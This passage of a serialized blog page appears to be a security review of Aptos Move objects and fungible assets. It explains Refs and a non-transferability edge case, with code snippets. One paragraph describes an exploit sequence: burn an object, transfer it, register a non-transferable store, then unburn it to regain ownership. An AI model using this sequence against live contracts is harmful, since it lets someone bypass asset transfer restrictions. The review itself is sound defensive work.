non-transferability.",{"type":21,"tag":75,"props":65061,"children":65063},{"className":77,"code":65062,"language":79,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[65064],{"type":21,"tag":66,"props":65065,"children":65066},{"__ignoreMap":7},[65067,65125,65178,65222,65270,65277,65322,65330],{"type":21,"tag":85,"props":65068,"children":65069},{"class":87,"line":88},[65070,65074,65078,65083,65087,65092,65096,65100,65104,65108,65113,65117,65121],{"type":21,"tag":85,"props":65071,"children":65072},{"style":120},[65073],{"type":26,"value":62133},{"type":21,"tag":85,"props":65075,"children":65076},{"style":120},[65077],{"type":26,"value":532},{"type":21,"tag":85,"props":65079,"children":65080},{"style":1021},[65081],{"type":26,"value":65082}," untransferable_transfer",{"type":21,"tag":85,"props":65084,"children":65085},{"style":114},[65086],{"type":26,"value":1439},{"type":21,"tag":85,"props":65088,"children":65089},{"style":120},[65090],{"type":26,"value":65091},"caller",{"type":21,"tag":85,"props":65093,"children":65094},{"style":169},[65095],{"type":26,"value":172},{"type":21,"tag":85,"props":65097,"children":65098},{"style":169},[65099],{"type":26,"value":1487},{"type":21,"tag":85,"props":65101,"children":65102},{"style":120},[65103],{"type":26,"value":1492},{"type":21,"tag":85,"props":65105,"children":65106},{"style":114},[65107],{"type":26,"value":256},{"type":21,"tag":85,"props":65109,"children":65110},{"style":120},[65111],{"type":26,"value":65112},"receipient",{"type":21,"tag":85,"props":65114,"children":65115},{"style":169},[65116],{"type":26,"value":172},{"type":21,"tag":85,"props":65118,"children":65119},{"style":120},[65120],{"type":26,"value":575},{"type":21,"tag":85,"props":65122,"children":65123},{"style":114},[65124],{"type":26,"value":15222},{"type":21,"tag":85,"props":65126,"children":65127},{"class":87,"line":98},[65128,65132,65137,65141,65145,65149,65154,65158,65162,65166,65170,65174],{"type":21,"tag":85,"props":65129,"children":65130},{"style":102},[65131],{"type":26,"value":3778},{"type":21,"tag":85,"props":65133,"children":65134},{"style":120},[65135],{"type":26,"value":65136}," constructor_ref",{"type":21,"tag":85,"props":65138,"children":65139},{"style":169},[65140],{"type":26,"value":1941},{"type":21,"tag":85,"props":65142,"children":65143},{"style":114},[65144],{"type":26,"value":62952},{"type":21,"tag":85,"props":65146,"children":65147},{"style":169},[65148],{"type":26,"value":1087},{"type":21,"tag":85,"props":65150,"children":65151},{"style":1021},[65152],{"type":26,"value":65153},"create_object",{"type":21,"tag":85,"props":65155,"children":65156},{"style":114},[65157],{"type":26,"value":1546},{"type":21,"tag":85,"props":65159,"children":65160},{"style":169},[65161],{"type":26,"value":1087},{"type":21,"tag":85,"props":65163,"children":65164},{"style":1021},[65165],{"type":26,"value":1555},{"type":21,"tag":85,"props":65167,"children":65168},{"style":114},[65169],{"type":26,"value":1439},{"type":21,"tag":85,"props":65171,"children":65172},{"style":120},[65173],{"type":26,"value":65091},{"type":21,"tag":85,"props":65175,"children":65176},{"style":114},[65177],{"type":26,"value":1569},{"type":21,"tag":85,"props":65179,"children":65180},{"class":87,"line":151},[65181,65185,65189,65193,65197,65201,65206,65210,65214,65218],{"type":21,"tag":85,"props":65182,"children":65183},{"style":102},[65184],{"type":26,"value":3778},{"type":21,"tag":85,"props":65186,"children":65187},{"style":120},[65188],{"type":26,"value":64539},{"type":21,"tag":85,"props":65190,"children":65191},{"style":169},[65192],{"type":26,"value":1941},{"type":21,"tag":85,"props":65194,"children":65195},{"style":114},[65196],{"type":26,"value":62952},{"type":21,"tag":85,"props":65198,"children":65199},{"style":169},[65200],{"type":26,"value":1087},{"type":21,"tag":85,"props":65202,"children":65203},{"style":1021},[65204],{"type":26,"value":65205},"address_from_constructor_ref",{"type":21,"tag":85,"props":65207,"children":65208},{"style":114},[65209],{"type":26,"value":1439},{"type":21,"tag":85,"props":65211,"children":65212},{"style":169},[65213],{"type":26,"value":2238},{"type":21,"tag":85,"props":65215,"children":65216},{"style":120},[65217],{"type":26,"value":63386},{"type":21,"tag":85,"props":65219,"children":65220},{"style":114},[65221],{"type":26,"value":777},{"type":21,"tag":85,"props":65223,"children":65224},{"class":87,"line":160},[65225,65229,65233,65237,65242,65246,65250,65254,65258,65262,65266],{"type":21,"tag":85,"props":65226,"children":65227},{"style":102},[65228],{"type":26,"value":3778},{"type":21,"tag":85,"props":65230,"children":65231},{"style":120},[65232],{"type":26,"value":143},{"type":21,"tag":85,"props":65234,"children":65235},{"style":169},[65236],{"type":26,"value":1941},{"type":21,"tag":85,"props":65238,"children":65239},{"style":114},[65240],{"type":26,"value":65241}," primary_fungible_store",{"type":21,"tag":85,"props":65243,"children":65244},{"style":169},[65245],{"type":26,"value":1087},{"type":21,"tag":85,"props":65247,"children":65248},{"style":1021},[65249],{"type":26,"value":63278},{"type":21,"tag":85,"props":65251,"children":65252},{"style":114},[65253],{"type":26,"value":1439},{"type":21,"tag":85,"props":65255,"children":65256},{"style":120},[65257],{"type":26,"value":64585},{"type":21,"tag":85,"props":65259,"children":65260},{"style":114},[65261],{"type":26,"value":256},{"type":21,"tag":85,"props":65263,"children":65264},{"style":1021},[65265],{"type":26,"value":63234},{"type":21,"tag":85,"props":65267,"children":65268},{"style":114},[65269],{"type":26,"value":15844},{"type":21,"tag":85,"props":65271,"children":65272},{"class":87,"line":185},[65273],{"type":21,"tag":85,"props":65274,"children":65275},{"emptyLinePlaceholder":16},[65276],{"type":26,"value":703},{"type":21,"tag":85,"props":65278,"children":65279},{"class":87,"line":501},[65280,65285,65289,65294,65298,65302,65306,65310,65314,65318],{"type":21,"tag":85,"props":65281,"children":65282},{"style":114},[65283],{"type":26,"value":65284},"    object",{"type":21,"tag":85,"props":65286,"children":65287},{"style":169},[65288],{"type":26,"value":1087},{"type":21,"tag":85,"props":65290,"children":65291},{"style":1021},[65292],{"type":26,"value":65293},"transfer_raw",{"type":21,"tag":85,"props":65295,"children":65296},{"style":114},[65297],{"type":26,"value":1439},{"type":21,"tag":85,"props":65299,"children":65300},{"style":120},[65301],{"type":26,"value":65091},{"type":21,"tag":85,"props":65303,"children":65304},{"style":114},[65305],{"type":26,"value":256},{"type":21,"tag":85,"props":65307,"children":65308},{"style":120},[65309],{"type":26,"value":64585},{"type":21,"tag":85,"props":65311,"children":65312},{"style":114},[65313],{"type":26,"value":256},{"type":21,"tag":85,"props":65315,"children":65316},{"style":120},[65317],{"type":26,"value":65112},{"type":21,"tag":85,"props":65319,"children":65320},{"style":114},[65321],{"type":26,"value":777},{"type":21,"tag":85,"props":65323,"children":65324},{"class":87,"line":697},[65325],{"type":21,"tag":85,"props":65326,"children":65327},{"style":92},[65328],{"type":26,"value":65329},"    //receipient can interact with store by using their signer\n",{"type":21,"tag":85,"props":65331,"children":65332},{"class":87,"line":706},[65333],{"type":21,"tag":85,"props":65334,"children":65335},{"style":114},[65336],{"type":26,"value":2671},{"type":21,"tag":22,"props":65338,"children":65339},{},[65340,65342,65349],{"type":26,"value":65341},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":21,"tag":335,"props":65343,"children":65346},{"href":65344,"rel":65345},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[339],[65347],{"type":26,"value":65348},"edge case",{"type":26,"value":65350}," involving the transfer of a non-transferable fungible store.",{"type":21,"tag":75,"props":65352,"children":65354},{"className":77,"code":65353,"language":79,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[65355],{"type":21,"tag":66,"props":65356,"children":65357},{"__ignoreMap":7},[65358,65423,65484,65531,65542,65577,65597,65604,65611,65626,65633,65661],{"type":21,"tag":85,"props":65359,"children":65360},{"class":87,"line":88},[65361,65365,65369,65374,65378,65382,65386,65391,65395,65399,65403,65407,65411,65415,65419],{"type":21,"tag":85,"props":65362,"children":65363},{"style":120},[65364],{"type":26,"value":62133},{"type":21,"tag":85,"props":65366,"children":65367},{"style":120},[65368],{"type":26,"value":532},{"type":21,"tag":85,"props":65370,"children":65371},{"style":1021},[65372],{"type":26,"value":65373}," transfer_with_ref",{"type":21,"tag":85,"props":65375,"children":65376},{"style":114},[65377],{"type":26,"value":1439},{"type":21,"tag":85,"props":65379,"children":65380},{"style":102},[65381],{"type":26,"value":63795},{"type":21,"tag":85,"props":65383,"children":65384},{"style":169},[65385],{"type":26,"value":172},{"type":21,"tag":85,"props":65387,"children":65388},{"style":108},[65389],{"type":26,"value":65390}," LinearTransferRef",{"type":21,"tag":85,"props":65392,"children":65393},{"style":114},[65394],{"type":26,"value":256},{"type":21,"tag":85,"props":65396,"children":65397},{"style":120},[65398],{"type":26,"value":33173},{"type":21,"tag":85,"props":65400,"children":65401},{"style":169},[65402],{"type":26,"value":172},{"type":21,"tag":85,"props":65404,"children":65405},{"style":120},[65406],{"type":26,"value":575},{"type":21,"tag":85,"props":65408,"children":65409},{"style":114},[65410],{"type":26,"value":736},{"type":21,"tag":85,"props":65412,"children":65413},{"style":120},[65414],{"type":26,"value":669},{"type":21,"tag":85,"props":65416,"children":65417},{"style":108},[65418],{"type":26,"value":64432},{"type":21,"tag":85,"props":65420,"children":65421},{"style":114},[65422],{"type":26,"value":148},{"type":21,"tag":85,"props":65424,"children":65425},{"class":87,"line":98},[65426,65430,65434,65438,65442,65446,65451,65455,65459,65463,65467,65471,65475,65479],{"type":21,"tag":85,"props":65427,"children":65428},{"style":1021},[65429],{"type":26,"value":62802},{"type":21,"tag":85,"props":65431,"children":65432},{"style":114},[65433],{"type":26,"value":1439},{"type":21,"tag":85,"props":65435,"children":65436},{"style":169},[65437],{"type":26,"value":21049},{"type":21,"tag":85,"props":65439,"children":65440},{"style":120},[65441],{"type":26,"value":1042},{"type":21,"tag":85,"props":65443,"children":65444},{"style":114},[65445],{"type":26,"value":117},{"type":21,"tag":85,"props":65447,"children":65448},{"style":108},[65449],{"type":26,"value":65450},"Untransferable",{"type":21,"tag":85,"props":65452,"children":65453},{"style":114},[65454],{"type":26,"value":1960},{"type":21,"tag":85,"props":65456,"children":65457},{"style":102},[65458],{"type":26,"value":63795},{"type":21,"tag":85,"props":65460,"children":65461},{"style":169},[65462],{"type":26,"value":73},{"type":21,"tag":85,"props":65464,"children":65465},{"style":102},[65466],{"type":26,"value":14131},{"type":21,"tag":85,"props":65468,"children":65469},{"style":114},[65470],{"type":26,"value":63391},{"type":21,"tag":85,"props":65472,"children":65473},{"style":169},[65474],{"type":26,"value":1087},{"type":21,"tag":85,"props":65476,"children":65477},{"style":1021},[65478],{"type":26,"value":64277},{"type":21,"tag":85,"props":65480,"children":65481},{"style":114},[65482],{"type":26,"value":65483},"(ENOT_MOVABLE));\n",{"type":21,"tag":85,"props":65485,"children":65486},{"class":87,"line":151},[65487,65491,65495,65499,65503,65507,65511,65515,65519,65523,65527],{"type":21,"tag":85,"props":65488,"children":65489},{"style":102},[65490],{"type":26,"value":3778},{"type":21,"tag":85,"props":65492,"children":65493},{"style":120},[65494],{"type":26,"value":62952},{"type":21,"tag":85,"props":65496,"children":65497},{"style":169},[65498],{"type":26,"value":1941},{"type":21,"tag":85,"props":65500,"children":65501},{"style":120},[65502],{"type":26,"value":1946},{"type":21,"tag":85,"props":65504,"children":65505},{"style":114},[65506],{"type":26,"value":117},{"type":21,"tag":85,"props":65508,"children":65509},{"style":108},[65510],{"type":26,"value":64927},{"type":21,"tag":85,"props":65512,"children":65513},{"style":114},[65514],{"type":26,"value":1960},{"type":21,"tag":85,"props":65516,"children":65517},{"style":102},[65518],{"type":26,"value":63795},{"type":21,"tag":85,"props":65520,"children":65521},{"style":169},[65522],{"type":26,"value":73},{"type":21,"tag":85,"props":65524,"children":65525},{"style":102},[65526],{"type":26,"value":14131},{"type":21,"tag":85,"props":65528,"children":65529},{"style":114},[65530],{"type":26,"value":777},{"type":21,"tag":85,"props":65532,"children":65533},{"class":87,"line":160},[65534,65538],{"type":21,"tag":85,"props":65535,"children":65536},{"style":1021},[65537],{"type":26,"value":62802},{"type":21,"tag":85,"props":65539,"children":65540},{"style":114},[65541],{"type":26,"value":1029},{"type":21,"tag":85,"props":65543,"children":65544},{"class":87,"line":185},[65545,65550,65554,65559,65563,65568,65572],{"type":21,"tag":85,"props":65546,"children":65547},{"style":120},[65548],{"type":26,"value":65549},"        object",{"type":21,"tag":85,"props":65551,"children":65552},{"style":169},[65553],{"type":26,"value":73},{"type":21,"tag":85,"props":65555,"children":65556},{"style":114},[65557],{"type":26,"value":65558},"owner ",{"type":21,"tag":85,"props":65560,"children":65561},{"style":169},[65562],{"type":26,"value":2936},{"type":21,"tag":85,"props":65564,"children":65565},{"style":102},[65566],{"type":26,"value":65567}," ref",{"type":21,"tag":85,"props":65569,"children":65570},{"style":169},[65571],{"type":26,"value":73},{"type":21,"tag":85,"props":65573,"children":65574},{"style":114},[65575],{"type":26,"value":65576},"owner,\n",{"type":21,"tag":85,"props":65578,"children":65579},{"class":87,"line":501},[65580,65585,65589,65593],{"type":21,"tag":85,"props":65581,"children":65582},{"style":114},[65583],{"type":26,"value":65584},"        error",{"type":21,"tag":85,"props":65586,"children":65587},{"style":169},[65588],{"type":26,"value":1087},{"type":21,"tag":85,"props":65590,"children":65591},{"style":1021},[65592],{"type":26,"value":64277},{"type":21,"tag":85,"props":65594,"children":65595},{"style":114},[65596],{"type":26,"value":64961},{"type":21,"tag":85,"props":65598,"children":65599},{"class":87,"line":697},[65600],{"type":21,"tag":85,"props":65601,"children":65602},{"style":114},[65603],{"type":26,"value":44108},{"type":21,"tag":85,"props":65605,"children":65606},{"class":87,"line":706},[65607],{"type":21,"tag":85,"props":65608,"children":65609},{"style":114},[65610],{"type":26,"value":62244},{"type":21,"tag":85,"props":65612,"children":65613},{"class":87,"line":1100},[65614,65618,65622],{"type":21,"tag":85,"props":65615,"children":65616},{"style":114},[65617],{"type":26,"value":63176},{"type":21,"tag":85,"props":65619,"children":65620},{"style":169},[65621],{"type":26,"value":10004},{"type":21,"tag":85,"props":65623,"children":65624},{"style":114},[65625],{"type":26,"value":12189},{"type":21,"tag":85,"props":65627,"children":65628},{"class":87,"line":1339},[65629],{"type":21,"tag":85,"props":65630,"children":65631},{"style":114},[65632],{"type":26,"value":62244},{"type":21,"tag":85,"props":65634,"children":65635},{"class":87,"line":1348},[65636,65640,65644,65648,65652,65657],{"type":21,"tag":85,"props":65637,"children":65638},{"style":120},[65639],{"type":26,"value":65284},{"type":21,"tag":85,"props":65641,"children":65642},{"style":169},[65643],{"type":26,"value":73},{"type":21,"tag":85,"props":65645,"children":65646},{"style":114},[65647],{"type":26,"value":65558},{"type":21,"tag":85,"props":65649,"children":65650},{"style":169},[65651],{"type":26,"value":741},{"type":21,"tag":85,"props":65653,"children":65654},{"style":120},[65655],{"type":26,"value":65656}," to",{"type":21,"tag":85,"props":65658,"children":65659},{"style":114},[65660],{"type":26,"value":2535},{"type":21,"tag":85,"props":65662,"children":65663},{"class":87,"line":1386},[65664],{"type":21,"tag":85,"props":65665,"children":65666},{"style":114},[65667],{"type":26,"value":2671},{"type":21,"tag":22,"props":65669,"children":65670},{},[65671,65673,65678,65680,65685],{"type":26,"value":65672},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":21,"tag":66,"props":65674,"children":65676},{"className":65675},[],[65677],{"type":26,"value":64330},{"type":26,"value":65679},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":21,"tag":66,"props":65681,"children":65683},{"className":65682},[],[65684],{"type":26,"value":1492},{"type":26,"value":65686}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":21,"tag":10022,"props":65688,"children":65690},{"id":65689},"references",[65691],{"type":26,"value":65692},"References",{"type":21,"tag":22,"props":65694,"children":65695},{},[65696,65701,65703,65709,65711,65716,65718,65723],{"type":21,"tag":66,"props":65697,"children":65699},{"className":65698},[],[65700],{"type":26,"value":65692},{"type":26,"value":65702}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":21,"tag":66,"props":65704,"children":65706},{"className":65705},[],[65707],{"type":26,"value":65708},"Refs",{"type":26,"value":65710}," are based on the ",{"type":21,"tag":66,"props":65712,"children":65714},{"className":65713},[],[65715],{"type":26,"value":49306},{"type":26,"value":65717}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":21,"tag":66,"props":65719,"children":65721},{"className":65720},[],[65722],{"type":26,"value":49306},{"type":26,"value":65724}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":21,"tag":22,"props":65726,"children":65727},{},[65728,65730,65735,65737,65742,65743,65749,65751,65756,65758,65763],{"type":26,"value":65729},"Let's get back to the ",{"type":21,"tag":66,"props":65731,"children":65733},{"className":65732},[],[65734],{"type":26,"value":62534},{"type":26,"value":65736}," deletion example. Both ",{"type":21,"tag":66,"props":65738,"children":65740},{"className":65739},[],[65741],{"type":26,"value":63819},{"type":26,"value":11408},{"type":21,"tag":66,"props":65744,"children":65746},{"className":65745},[],[65747],{"type":26,"value":65748},"fungible_asset::remove_store",{"type":26,"value":65750}," use the same object-specific ",{"type":21,"tag":66,"props":65752,"children":65754},{"className":65753},[],[65755],{"type":26,"value":63751},{"type":26,"value":65757}," permission. It can be created only during object creation. There is no separate ",{"type":21,"tag":66,"props":65759,"children":65761},{"className":65760},[],[65762],{"type":26,"value":63751},{"type":26,"value":65764}," for fungible assets.",{"type":21,"tag":75,"props":65766,"children":65767},{"className":77,"code":63701,"language":79,"meta":7,"style":7},[65768],{"type":21,"tag":66,"props":65769,"children":65770},{"__ignoreMap":7},[65771,65778,65817,65824,65831],{"type":21,"tag":85,"props":65772,"children":65773},{"class":87,"line":88},[65774],{"type":21,"tag":85,"props":65775,"children":65776},{"style":92},[65777],{"type":26,"value":63713},{"type":21,"tag":85,"props":65779,"children":65780},{"class":87,"line":98},[65781,65785,65789,65793,65797,65801,65805,65809,65813],{"type":21,"tag":85,"props":65782,"children":65783},{"style":120},[65784],{"type":26,"value":62133},{"type":21,"tag":85,"props":65786,"children":65787},{"style":120},[65788],{"type":26,"value":532},{"type":21,"tag":85,"props":65790,"children":65791},{"style":1021},[65792],{"type":26,"value":63729},{"type":21,"tag":85,"props":65794,"children":65795},{"style":114},[65796],{"type":26,"value":1439},{"type":21,"tag":85,"props":65798,"children":65799},{"style":120},[65800],{"type":26,"value":63738},{"type":21,"tag":85,"props":65802,"children":65803},{"style":169},[65804],{"type":26,"value":172},{"type":21,"tag":85,"props":65806,"children":65807},{"style":169},[65808],{"type":26,"value":1487},{"type":21,"tag":85,"props":65810,"children":65811},{"style":108},[65812],{"type":26,"value":63751},{"type":21,"tag":85,"props":65814,"children":65815},{"style":114},[65816],{"type":26,"value":2485},{"type":21,"tag":85,"props":65818,"children":65819},{"class":87,"line":151},[65820],{"type":21,"tag":85,"props":65821,"children":65822},{"emptyLinePlaceholder":16},[65823],{"type":26,"value":703},{"type":21,"tag":85,"props":65825,"children":65826},{"class":87,"line":160},[65827],{"type":21,"tag":85,"props":65828,"children":65829},{"style":92},[65830],{"type":26,"value":63770},{"type":21,"tag":85,"props":65832,"children":65833},{"class":87,"line":185},[65834,65838,65842,65846,65850,65854,65858,65862],{"type":21,"tag":85,"props":65835,"children":65836},{"style":120},[65837],{"type":26,"value":62133},{"type":21,"tag":85,"props":65839,"children":65840},{"style":120},[65841],{"type":26,"value":532},{"type":21,"tag":85,"props":65843,"children":65844},{"style":1021},[65845],{"type":26,"value":63786},{"type":21,"tag":85,"props":65847,"children":65848},{"style":114},[65849],{"type":26,"value":1439},{"type":21,"tag":85,"props":65851,"children":65852},{"style":102},[65853],{"type":26,"value":63795},{"type":21,"tag":85,"props":65855,"children":65856},{"style":169},[65857],{"type":26,"value":172},{"type":21,"tag":85,"props":65859,"children":65860},{"style":108},[65861],{"type":26,"value":63804},{"type":21,"tag":85,"props":65863,"children":65864},{"style":114},[65865],{"type":26,"value":2485},{"type":21,"tag":22,"props":65867,"children":65868},{},[65869,65871,65876,65878,65884],{"type":26,"value":65870},"On the other hand, the \"frozen\" status of a ",{"type":21,"tag":66,"props":65872,"children":65874},{"className":65873},[],[65875],{"type":26,"value":62534},{"type":26,"value":65877}," is toggled using a ",{"type":21,"tag":66,"props":65879,"children":65881},{"className":65880},[],[65882],{"type":26,"value":65883},"TransferRef",{"type":26,"value":65885},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":21,"tag":75,"props":65887,"children":65889},{"className":77,"code":65888,"language":79,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[65890],{"type":21,"tag":66,"props":65891,"children":65892},{"__ignoreMap":7},[65893,65929,65953,65980,65999],{"type":21,"tag":85,"props":65894,"children":65895},{"class":87,"line":88},[65896,65900,65904,65909,65913,65917,65921,65925],{"type":21,"tag":85,"props":65897,"children":65898},{"style":120},[65899],{"type":26,"value":62133},{"type":21,"tag":85,"props":65901,"children":65902},{"style":120},[65903],{"type":26,"value":532},{"type":21,"tag":85,"props":65905,"children":65906},{"style":120},[65907],{"type":26,"value":65908}," set_frozen_flag",{"type":21,"tag":85,"props":65910,"children":65911},{"style":114},[65912],{"type":26,"value":117},{"type":21,"tag":85,"props":65914,"children":65915},{"style":108},[65916],{"type":26,"value":308},{"type":21,"tag":85,"props":65918,"children":65919},{"style":169},[65920],{"type":26,"value":172},{"type":21,"tag":85,"props":65922,"children":65923},{"style":120},[65924],{"type":26,"value":251},{"type":21,"tag":85,"props":65926,"children":65927},{"style":114},[65928],{"type":26,"value":924},{"type":21,"tag":85,"props":65930,"children":65931},{"class":87,"line":98},[65932,65937,65941,65945,65949],{"type":21,"tag":85,"props":65933,"children":65934},{"style":102},[65935],{"type":26,"value":65936},"    ref",{"type":21,"tag":85,"props":65938,"children":65939},{"style":169},[65940],{"type":26,"value":172},{"type":21,"tag":85,"props":65942,"children":65943},{"style":169},[65944],{"type":26,"value":1487},{"type":21,"tag":85,"props":65946,"children":65947},{"style":108},[65948],{"type":26,"value":65883},{"type":21,"tag":85,"props":65950,"children":65951},{"style":114},[65952],{"type":26,"value":182},{"type":21,"tag":85,"props":65954,"children":65955},{"class":87,"line":151},[65956,65960,65964,65968,65972,65976],{"type":21,"tag":85,"props":65957,"children":65958},{"style":120},[65959],{"type":26,"value":29857},{"type":21,"tag":85,"props":65961,"children":65962},{"style":169},[65963],{"type":26,"value":172},{"type":21,"tag":85,"props":65965,"children":65966},{"style":108},[65967],{"type":26,"value":62019},{"type":21,"tag":85,"props":65969,"children":65970},{"style":114},[65971],{"type":26,"value":117},{"type":21,"tag":85,"props":65973,"children":65974},{"style":108},[65975],{"type":26,"value":308},{"type":21,"tag":85,"props":65977,"children":65978},{"style":114},[65979],{"type":26,"value":461},{"type":21,"tag":85,"props":65981,"children":65982},{"class":87,"line":160},[65983,65987,65991,65995],{"type":21,"tag":85,"props":65984,"children":65985},{"style":120},[65986],{"type":26,"value":61671},{"type":21,"tag":85,"props":65988,"children":65989},{"style":169},[65990],{"type":26,"value":172},{"type":21,"tag":85,"props":65992,"children":65993},{"style":108},[65994],{"type":26,"value":12467},{"type":21,"tag":85,"props":65996,"children":65997},{"style":114},[65998],{"type":26,"value":182},{"type":21,"tag":85,"props":66000,"children":66001},{"class":87,"line":185},[66002],{"type":21,"tag":85,"props":66003,"children":66004},{"style":114},[66005],{"type":26,"value":2485},{"type":21,"tag":22,"props":66007,"children":66008},{},[66009,66010,66015,66016,66021],{"type":26,"value":17034},{"type":21,"tag":66,"props":66011,"children":66013},{"className":66012},[],[66014],{"type":26,"value":49306},{"type":26,"value":790},{"type":21,"tag":66,"props":66017,"children":66019},{"className":66018},[],[66020],{"type":26,"value":65883},{"type":26,"value":66022}," is used to transfer object ownership:",{"type":21,"tag":75,"props":66024,"children":66026},{"className":77,"code":66025,"language":79,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[66027],{"type":21,"tag":66,"props":66028,"children":66029},{"__ignoreMap":7},[66030,66038,66071,66090],{"type":21,"tag":85,"props":66031,"children":66032},{"class":87,"line":88},[66033],{"type":21,"tag":85,"props":66034,"children":66035},{"style":92},[66036],{"type":26,"value":66037},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":21,"tag":85,"props":66039,"children":66040},{"class":87,"line":98},[66041,66045,66050,66054,66059,66063,66067],{"type":21,"tag":85,"props":66042,"children":66043},{"style":102},[66044],{"type":26,"value":9814},{"type":21,"tag":85,"props":66046,"children":66047},{"style":108},[66048],{"type":26,"value":66049}," TransferRef",{"type":21,"tag":85,"props":66051,"children":66052},{"style":120},[66053],{"type":26,"value":9823},{"type":21,"tag":85,"props":66055,"children":66056},{"style":120},[66057],{"type":26,"value":66058}," drop",{"type":21,"tag":85,"props":66060,"children":66061},{"style":114},[66062],{"type":26,"value":256},{"type":21,"tag":85,"props":66064,"children":66065},{"style":120},[66066],{"type":26,"value":261},{"type":21,"tag":85,"props":66068,"children":66069},{"style":114},[66070],{"type":26,"value":148},{"type":21,"tag":85,"props":66072,"children":66073},{"class":87,"line":151},[66074,66078,66082,66086],{"type":21,"tag":85,"props":66075,"children":66076},{"style":102},[66077],{"type":26,"value":21214},{"type":21,"tag":85,"props":66079,"children":66080},{"style":169},[66081],{"type":26,"value":172},{"type":21,"tag":85,"props":66083,"children":66084},{"style":120},[66085],{"type":26,"value":575},{"type":21,"tag":85,"props":66087,"children":66088},{"style":114},[66089],{"type":26,"value":182},{"type":21,"tag":85,"props":66091,"children":66092},{"class":87,"line":160},[66093],{"type":21,"tag":85,"props":66094,"children":66095},{"style":114},[66096],{"type":26,"value":2671},{"type":21,"tag":22,"props":66098,"children":66099},{},[66100,66102,66107],{"type":26,"value":66101},"While the fungible asset's ",{"type":21,"tag":66,"props":66103,"children":66105},{"className":66104},[],[66106],{"type":26,"value":65883},{"type":26,"value":66108}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":21,"tag":75,"props":66110,"children":66112},{"className":77,"code":66111,"language":79,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[66113],{"type":21,"tag":66,"props":66114,"children":66115},{"__ignoreMap":7},[66116,66124,66132,66163,66190],{"type":21,"tag":85,"props":66117,"children":66118},{"class":87,"line":88},[66119],{"type":21,"tag":85,"props":66120,"children":66121},{"style":92},[66122],{"type":26,"value":66123},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":21,"tag":85,"props":66125,"children":66126},{"class":87,"line":98},[66127],{"type":21,"tag":85,"props":66128,"children":66129},{"style":92},[66130],{"type":26,"value":66131},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":21,"tag":85,"props":66133,"children":66134},{"class":87,"line":151},[66135,66139,66143,66147,66151,66155,66159],{"type":21,"tag":85,"props":66136,"children":66137},{"style":102},[66138],{"type":26,"value":9814},{"type":21,"tag":85,"props":66140,"children":66141},{"style":108},[66142],{"type":26,"value":66049},{"type":21,"tag":85,"props":66144,"children":66145},{"style":120},[66146],{"type":26,"value":9823},{"type":21,"tag":85,"props":66148,"children":66149},{"style":120},[66150],{"type":26,"value":66058},{"type":21,"tag":85,"props":66152,"children":66153},{"style":114},[66154],{"type":26,"value":256},{"type":21,"tag":85,"props":66156,"children":66157},{"style":120},[66158],{"type":26,"value":261},{"type":21,"tag":85,"props":66160,"children":66161},{"style":114},[66162],{"type":26,"value":148},{"type":21,"tag":85,"props":66164,"children":66165},{"class":87,"line":160},[66166,66170,66174,66178,66182,66186],{"type":21,"tag":85,"props":66167,"children":66168},{"style":120},[66169],{"type":26,"value":62010},{"type":21,"tag":85,"props":66171,"children":66172},{"style":169},[66173],{"type":26,"value":172},{"type":21,"tag":85,"props":66175,"children":66176},{"style":108},[66177],{"type":26,"value":62019},{"type":21,"tag":85,"props":66179,"children":66180},{"style":114},[66181],{"type":26,"value":117},{"type":21,"tag":85,"props":66183,"children":66184},{"style":108},[66185],{"type":26,"value":62028},{"type":21,"tag":85,"props":66187,"children":66188},{"style":114},[66189],{"type":26,"value":313},{"type":21,"tag":85,"props":66191,"children":66192},{"class":87,"line":185},[66193],{"type":21,"tag":85,"props":66194,"children":66195},{"style":114},[66196],{"type":26,"value":2671},{"type":21,"tag":22,"props":66198,"children":66199},{},[66200,66202,66208,66210,66216],{"type":26,"value":66201},"Additionally, there are fungible asset-specific references such as ",{"type":21,"tag":66,"props":66203,"children":66205},{"className":66204},[],[66206],{"type":26,"value":66207},"MintRef",{"type":26,"value":66209}," for minting and ",{"type":21,"tag":66,"props":66211,"children":66213},{"className":66212},[],[66214],{"type":26,"value":66215},"BurnRef",{"type":26,"value":66217}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":21,"tag":54,"props":66219,"children":66221},{"id":66220},"dispatchable-fungible-assets",[66222],{"type":26,"value":66223},"Dispatchable fungible 